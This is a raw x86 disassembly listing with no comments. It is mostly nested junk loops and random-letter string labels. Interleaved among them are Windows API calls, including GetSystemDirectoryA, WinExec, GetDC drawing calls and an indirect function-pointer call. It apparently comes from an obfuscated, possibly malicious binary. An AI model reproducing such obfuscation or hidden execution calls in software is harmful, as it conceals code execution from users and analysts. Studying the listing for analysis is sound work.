mov dword [ebp - 0x2e0], str.bbjsa_xdbgogcz_zsgulfi_etnr_scs_xggugvrqo_vlrnxbmn_evf_rhb_adfrpz_ossihgjj
cmp dword [ebp - 0x1d4], 0x73ee
jle 0x455f38
and dword [ebp - 0x3c], 0
jmp 0x455ed0
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x6967
jge 0x455f38
and dword [ebp - 0x44], 0
jmp 0x455ee6
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0x2e3e
jge 0x455f36
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x44]
cdq
mov dword [ebp - 0x2dc], eax
mov dword [ebp - 0x2d8], edx
push dword [ebp - 0x2d8]
push dword [ebp - 0x2dc]
lea ecx, [ebp - 0x4a4]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x4a4]
call fcn.00402d76
jmp 0x455edf
jmp 0x455ec9
and dword [ebp - 0x8c], 0
jmp 0x455f4e
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x3bf3
jge 0x456392
mov dword [ebp - 0x240], 0x700f
mov dword [ebp - 0x42c], str.vuoahh_cbj_inrn_srlnp_bmh_ppr_aoqmwqa
cmp dword [ebp - 0x240], 0x7265
jle 0x456016
and dword [ebp - 0x5c], 0
jmp 0x455f8f
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x62c7
jge 0x456016
and dword [ebp - 0x4c], 0
jmp 0x455fa5
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0x10f4
jge 0x456011
and dword [ebp - 0x54], 0
jmp 0x455fbb
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0x775a
jge 0x45600f
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x5c]
cdq
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], edx
push dword [ebp - 0x2e4]
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0x4d4]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x4d4]
call fcn.00402d76
jmp 0x455fb4
jmp 0x455f9e
jmp 0x455f88
and dword [ebp - 0x94], 0
jmp 0x45602c
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0x18c2
jge 0x456348
mov dword [ebp - 0x218], 0x2e50
mov dword [ebp - 0x2d4], str.lkwwneorf_rhp_qnh_xhvsxneho_wepwetvn_gzftnppz_wwqwgb_terfh_jjwcazup_gsyck_evz_gbxydaz_aoixpw
cmp dword [ebp - 0x218], 0x3026
jle 0x4560d4
and dword [ebp - 0x64], 0
jmp 0x456069
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0x315b
jge 0x4560d4
and dword [ebp - 0x6c], 0
jmp 0x45607f
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x17d2
jge 0x4560d2
and dword [ebp - 0x74], 0
jmp 0x456095
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0x7d57
jge 0x4560d0
mov eax, dword [ebp - 0x64]
cdq
idiv dword [ebp - 0x6c]
imul edx, dword [ebp - 0x74]
mov eax, edx
cdq
mov dword [ebp - 0x2f4], eax
mov dword [ebp - 0x2f0], edx
push dword [ebp - 0x2f0]
push dword [ebp - 0x2f4]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x45608e
jmp 0x456078
jmp 0x456062
and dword [ebp - 0x9c], 0
jmp 0x4560ea
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x512d
jge 0x4562fa
mov dword [ebp - 0x210], 0x5e5
mov dword [ebp - 0x2c8], str.pwd_tpmb_lim_ehhs
cmp dword [ebp - 0x210], 0x98e
jle 0x456191
and dword [ebp - 0x7c], 0
jmp 0x456127
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x6e96
jge 0x456184
and dword [ebp - 0x84], 0
jmp 0x456146
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x4b01
jge 0x456182
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x84]
shl eax, cl
cdq
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], edx
push dword [ebp - 0x2fc]
push dword [ebp - 0x300]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x456139
jmp 0x456120
push 0x18ed
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [ebp - 0x8c]
sub eax, dword [ebp - 0x94]
sub eax, dword [ebp - 0x9c]
or eax, dword [ebp - 0xa4]
cdq
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], edx
mov dword [ebp - 4], 0x1e
cmp dword [ebp - 0x210], 0x470
jge 0x4561d9
mov edx, dword [ebp - 0x2c8]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x4561f5
or dword [ebp - 4], 0xffffffff
jmp 0x4561ff
mov dword [ebp - 0x250], 0x71b2
mov dword [ebp - 0x3cc], str.hbkgba_rqpme_kxigyepha_pkqbhbef_yujfozahn_cds_sfhc_qcvrc
cmp dword [ebp - 0x250], 0x73ba
jle 0x456296
and dword [ebp - 0xac], 0
jmp 0x456235
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0x7de8
jge 0x456296
and dword [ebp - 0xb4], 0
jmp 0x456257
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0x3e44
jge 0x456294
mov eax, dword [ebp - 0xac]
or eax, dword [ebp - 0xb4]
cdq
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], edx
push dword [ebp - 0x308]
push dword [ebp - 0x30c]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x45624a
jmp 0x456228
push dword [ebp - 0x314]
push dword [ebp - 0x318]
mov ecx, 0xab4b00
call fcn.0047c980
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x250], 0x6e8e
jge 0x4562cf
mov edx, dword [ebp - 0x3cc]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x4562eb
or dword [ebp - 4], 0xffffffff
jmp 0x4562f5
jmp 0x4560dd
mov dword [ebp - 4], 0x22
cmp dword [ebp - 0x218], 0x2c65
jge 0x45631d
mov edx, dword [ebp - 0x2d4]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x456339
or dword [ebp - 4], 0xffffffff
jmp 0x456343
jmp 0x45601f
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x240], 0x6fc4
jge 0x456367
push dword [ebp - 0x42c]
call fcn.00481635
pop ecx
jmp 0x456383
or dword [ebp - 4], 0xffffffff
jmp 0x45638d
jmp 0x455f41
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x1d4], 0x6f6b
jge 0x4563b1
push dword [ebp - 0x2e0]
call fcn.00481635
pop ecx
jmp 0x4563cd
or dword [ebp - 4], 0xffffffff
jmp 0x4563d7
jmp 0x455e86
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x1dc], 0x7783
jge 0x4563fb
push dword [ebp - 0x3d8]
call fcn.00481635
pop ecx
jmp 0x456417
or dword [ebp - 4], 0xffffffff
jmp 0x456421
mov dword [ebp - 4], 0x2a
cmp dword [ebp - 0x1e4], 0x3288
jge 0x456444
mov edx, dword [ebp - 0x2ec]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x456460
or dword [ebp - 4], 0xffffffff
jmp 0x45646a
mov dword [ebp - 0x1ec], 0x6bc8
mov dword [ebp - 0x428], str.dpo_vxrksy_ilkvm_bcmhjyec_fjck_atfawtmxg
cmp dword [ebp - 0x1ec], 0x6f3d
jle 0x456531
and dword [ebp - 0xbc], 0
jmp 0x4564a4
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0x401
jge 0x456524
and dword [ebp - 0xc4], 0
jmp 0x4564c6
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 0x1bb1
jge 0x45651f
mov eax, dword [ebp - 0xbc]
sub eax, dword [ebp - 0xc4]
cdq
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x320], edx
push dword [ebp - 0x320]
push dword [ebp - 0x324]
lea ecx, [ebp - 0x504]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x504]
call fcn.00402d76
jmp 0x4564b9
jmp 0x456497
push 0x2514
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp dword [ebp - 0x438], 0
je 0x45654e
push 0
push dword [ebp - 0x430]
push dword [ebp - 0x434]
call dword [ebp - 0x438]
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x1ec], 0x684a
jge 0x45656d
push dword [ebp - 0x428]
call fcn.00481635
pop ecx
jmp 0x456589
or dword [ebp - 4], 0xffffffff
jmp 0x456593
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x1f4], 0x475f
jge 0x4565b6
mov edx, dword [ebp - 0x2f8]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x4565d2
or dword [ebp - 4], 0xffffffff
jmp 0x4565dc
mov dword [ebp - 0x1fc], 0x74b1
mov dword [ebp - 0x3e4], str.nxd_eoiwwxdii_loi_sldn_aruszpr_qduipw_sgkuue_aoq_tlmuttpts_dohkzfq
cmp dword [ebp - 0x1fc], 0x74f1
jle 0x4566ca
and dword [ebp - 0xdc], 0
jmp 0x456616
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x4c89
jge 0x4566ad
and dword [ebp - 0xcc], 0
jmp 0x45663c
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0x444e
jge 0x4566a8
and dword [ebp - 0xd4], 0
jmp 0x45665e
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0x37c2
jge 0x4566a6
mov eax, dword [ebp - 0xcc]
cdq
idiv dword [ebp - 0xd4]
mov eax, dword [ebp - 0xdc]
mov ecx, edx
sar eax, cl
cdq
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], edx
push dword [ebp - 0x32c]
push dword [ebp - 0x330]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x456651
jmp 0x45662f
jmp 0x456609
push 0
push 0x1bc4
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
jmp 0x45743a
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x204], 0x150d
jge 0x45673b
mov edx, dword [ebp - 0x304]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x456757
or dword [ebp - 4], 0xffffffff
jmp 0x456761
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x21c], 0x4cd
mov dword [ebp - 0x3f0], str.yeggyzlu_imtafczuk_vue_qlrdgtqwr_kpuzkavwl_zkbkhcucn_odjhccy_ttobmeahk_rkhxi_fmxbxd_jmkldifw_tiognlnf
cmp dword [ebp - 0x21c], 0x7ec
jle 0x456822
and dword [ebp - 0xe4], 0
jmp 0x4567a2
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x711d
jge 0x456822
and dword [ebp - 0xec], 0
jmp 0x4567c4
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0x35a7
jge 0x45681d
mov eax, dword [ebp - 0xe4]
add eax, dword [ebp - 0xec]
cdq
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x338], edx
push dword [ebp - 0x338]
push dword [ebp - 0x33c]
lea ecx, [ebp - 0x534]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x534]
call fcn.00402d76
jmp 0x4567b7
jmp 0x456795
cmp dword [ebp - 0x20c], 0x58ef
jge 0x456981
mov dword [ebp - 0x214], 0x5863
mov dword [ebp - 0x310], str.ars_fwoxfd_wrayzenc
cmp dword [ebp - 0x214], 0x5887
jle 0x456925
push 0x10fa
push 0
push 0xa98
push 0x2371
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
and dword [ebp - 0x104], 0
jmp 0x456891
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x4552
jge 0x456925
and dword [ebp - 0xf4], 0
jmp 0x4568b7
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x3cca
jge 0x456920
and dword [ebp - 0xfc], 0
jmp 0x4568d9
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0x321a
jge 0x45691e
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0xfc]
sar eax, cl
or eax, dword [ebp - 0x104]
cdq
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], edx
push dword [ebp - 0x344]
push dword [ebp - 0x348]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x4568cc
jmp 0x4568aa
jmp 0x456884
mov edx, dword [ebp - 0x410]
mov ecx, 0xab4b00
call fcn.0047de2e
mov byte [ebp - 4], 0x35
cmp dword [ebp - 0x214], 0x568a
jge 0x456955
mov edx, dword [ebp - 0x310]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x456971
mov dword [ebp - 4], 0x34
jmp 0x456981
mov byte [ebp - 4], 0x37
cmp dword [ebp - 0x21c], 0x247
jge 0x45699d
push dword [ebp - 0x3f0]
call fcn.00481635
pop ecx
jmp 0x4569b9
mov dword [ebp - 4], 0x34
jmp 0x4569c9
jmp 0x456b20
or dword [ebp - 4], 0xffffffff
jmp 0x456b2a
mov dword [ebp - 0x25c], 0x7705
mov dword [ebp - 0x22c], 0x3035
mov dword [ebp - 0x420], str.tqormlpa_dpmyufgvf_euf_jtpudya_mfxpsavi_mjmhknvtb_ttzmaokul_fdptasui_tuuf_uoqrz_ohsfuuyxu_bmyt
cmp dword [ebp - 0x22c], 0x31cb
jle 0x456bee
and dword [ebp - 0x124], 0
jmp 0x456b6e
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x2cba
jge 0x456bee
and dword [ebp - 0x12c], 0
jmp 0x456b90
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0x5295
jge 0x456be9
mov eax, dword [ebp - 0x124]
and eax, dword [ebp - 0x12c]
cdq
mov dword [ebp - 0x364], eax
mov dword [ebp - 0x360], edx
push dword [ebp - 0x360]
push dword [ebp - 0x364]
lea ecx, [ebp - 0x594]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x594]
call fcn.00402d76
jmp 0x456b83
jmp 0x456b61
mov dword [ebp - 0x408], str.mebwwnhyn_toitsv_yrbrnwtl_pswnp_eytofh_prlbkdlp_dsm_bizat_pimwp_mrxyv_zayolfbe
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x22c], 0x2ee1
jge 0x456c17
push dword [ebp - 0x420]
call fcn.00481635
pop ecx
jmp 0x456c33
or dword [ebp - 4], 0xffffffff
jmp 0x456c3d
cmp dword [ebp - 0x25c], 0x797e
jle 0x45716e
and dword [ebp - 0x17c], 0
jmp 0x456c63
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x7e68
jge 0x45716e
mov dword [ebp - 0x24c], 0x6361
mov dword [ebp - 0x418], str.evzdarr_pbwvkk_ftx_ywvfog_cmy_djj_igvmjtdq_gurinbzt_jshmt_cifyw_blgkw_wgk_ynqhvq_hfyesqdyl
cmp dword [ebp - 0x24c], 0x66f8
jle 0x456d27
push 1
push 0
push 0xb4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
and dword [ebp - 0x134], 0
jmp 0x456cc3
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0x156a
jge 0x456d27
and dword [ebp - 0x13c], 0
jmp 0x456ce5
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0x7f25
jge 0x456d25
mov eax, dword [ebp - 0x134]
cdq
idiv dword [ebp - 0x13c]
mov eax, edx
cdq
mov dword [ebp - 0x374], eax
mov dword [ebp - 0x370], edx
push dword [ebp - 0x370]
push dword [ebp - 0x374]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x456cd8
jmp 0x456cb6
and dword [ebp - 0x184], 0
jmp 0x456d3d
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0xce4
jge 0x457120
mov dword [ebp - 0x244], 0x5903
mov dword [ebp - 0x334], str.gvt_lcrlpkv_bryqpfca_vafjg_aiydgvhu
cmp dword [ebp - 0x244], 0x5bd2
jle 0x456df9
and dword [ebp - 0x144], 0
jmp 0x456d87
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x438a
jge 0x456de8
and dword [ebp - 0x14c], 0
jmp 0x456da9
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x7561
jge 0x456de6
mov eax, dword [ebp - 0x144]
xor eax, dword [ebp - 0x14c]
cdq
mov dword [ebp - 0x384], eax
mov dword [ebp - 0x380], edx
push dword [ebp - 0x380]
push dword [ebp - 0x384]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x456d9c
jmp 0x456d7a
push 0
push 0
push 0x5e1
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
and dword [ebp - 0x18c], 0
jmp 0x456e0f
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x44f6
jge 0x4570d2
mov dword [ebp - 0x23c], 0x387
mov dword [ebp - 0x3fc], str.dypzym_rtqsaraps_doopax_uqfjj_ewhiy_bttzcsc_tkefl_jdino_idps
cmp dword [ebp - 0x23c], 0x65b
jle 0x456ed9
and dword [ebp - 0x154], 0
jmp 0x456e59
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x348a
jge 0x456ed9
and dword [ebp - 0x15c], 0
jmp 0x456e7b
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x2085
jge 0x456ed4
mov eax, dword [ebp - 0x154]
xor eax, dword [ebp - 0x15c]
cdq
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x390], edx
push dword [ebp - 0x390]
push dword [ebp - 0x394]
lea ecx, [ebp - 0x5c4]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x5c4]
call fcn.00402d76
jmp 0x456e6e
jmp 0x456e4c
and dword [ebp - 0x194], 0
jmp 0x456eef
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x219f
jge 0x457088
mov dword [ebp - 0x234], 0x6c80
mov dword [ebp - 0x328], str.mrdjdcfq_fpby_xbg_fleua_dndyzsz_urqt_oizd_dbaf_hfo_ybfddk
cmp dword [ebp - 0x234], 0x6cc6
jle 0x456fe1
push 1
push 0
push 0xb4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
and dword [ebp - 0x164], 0
jmp 0x456f4f
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0x2115
jge 0x456fe1
and dword [ebp - 0x16c], 0
jmp 0x456f75
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x4565
jge 0x456fdc
and dword [ebp - 0x174], 0
jmp 0x456f97
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x329d
jge 0x456fda
mov eax, dword [ebp - 0x164]
add eax, dword [ebp - 0x16c]
xor eax, dword [ebp - 0x174]
cdq
mov dword [ebp - 0x3a4], eax
mov dword [ebp - 0x3a0], edx
push dword [ebp - 0x3a0]
push dword [ebp - 0x3a4]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x456f8a
jmp 0x456f68
jmp 0x456f42
mov eax, dword [ebp - 0x17c]
sub eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x18c]
sar eax, cl
and eax, dword [ebp - 0x194]
cdq
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], edx
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x234], 0x6a20
jge 0x45702b
mov edx, dword [ebp - 0x328]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x457047
or dword [ebp - 4], 0xffffffff
jmp 0x457051
push dword [ebp - 0x3ac]
push dword [ebp - 0x3b0]
lea ecx, [ebp - 0x5e8]
call fcn.00454899
pop ecx
pop ecx
mov ecx, eax
call fcn.00402f89
push eax
call fcn.00481635
pop ecx
lea ecx, [ebp - 0x5e8]
call fcn.00402d76
jmp 0x456ee2
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x23c], 0x33e
jge 0x4570a7
push dword [ebp - 0x3fc]
call fcn.00481635
pop ecx
jmp 0x4570c3
or dword [ebp - 4], 0xffffffff
jmp 0x4570cd
jmp 0x456e02
mov dword [ebp - 4], 0x42
cmp dword [ebp - 0x244], 0x5594
jge 0x4570f5
mov edx, dword [ebp - 0x334]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x457111
or dword [ebp - 4], 0xffffffff
jmp 0x45711b
jmp 0x456d30
mov dword [ebp - 4], 0x44
cmp dword [ebp - 0x24c], 0x634e
jge 0x457143
mov edx, dword [ebp - 0x418]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x45715f
or dword [ebp - 4], 0xffffffff
jmp 0x457169
jmp 0x456c56
mov dword [ebp - 0x254], 0x7926
mov dword [ebp - 0x340], str.qkrphyhib_vdg_fkc_mlyvrzjh_poznlb
cmp dword [ebp - 0x254], 0x7a9f
jle 0x45723f
and dword [ebp - 0x19c], 0
jmp 0x4571a8
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0x4ed4
jge 0x45723f
and dword [ebp - 0x1a4], 0
jmp 0x4571ce
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x4c4d
jge 0x45723a
and dword [ebp - 0x1ac], 0
jmp 0x4571f0
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0xa96
jge 0x457238
mov eax, dword [ebp - 0x19c]
cdq
idiv dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x1ac]
sar edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x3bc], eax
mov dword [ebp - 0x3b8], edx
push dword [ebp - 0x3b8]
push dword [ebp - 0x3bc]
mov ecx, 0xab4b00
call fcn.0047c980
jmp 0x4571e3
jmp 0x4571c1
jmp 0x45719b
mov eax, dword [ebp + 8]
inc eax
push eax
call fcn.0045d641
pop ecx
mov dword [ebp - 4], 0x46
cmp dword [ebp - 0x254], 0x7563
jge 0x45726d
mov edx, dword [ebp - 0x340]
mov ecx, 0xab4b00
call fcn.0047de2e
jmp 0x457289
or dword [ebp - 4], 0xffffffff
jmp 0x457293
mov dword [ebp - 4], 0x48
cmp dword [ebp - 0x25c], 0x732d
jge 0x4572b2
push dword [ebp - 0x408]
call fcn.00481635
pop ecx
jmp 0x457430
or dword [ebp - 4], 0xffffffff
jmp 0x45743a
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret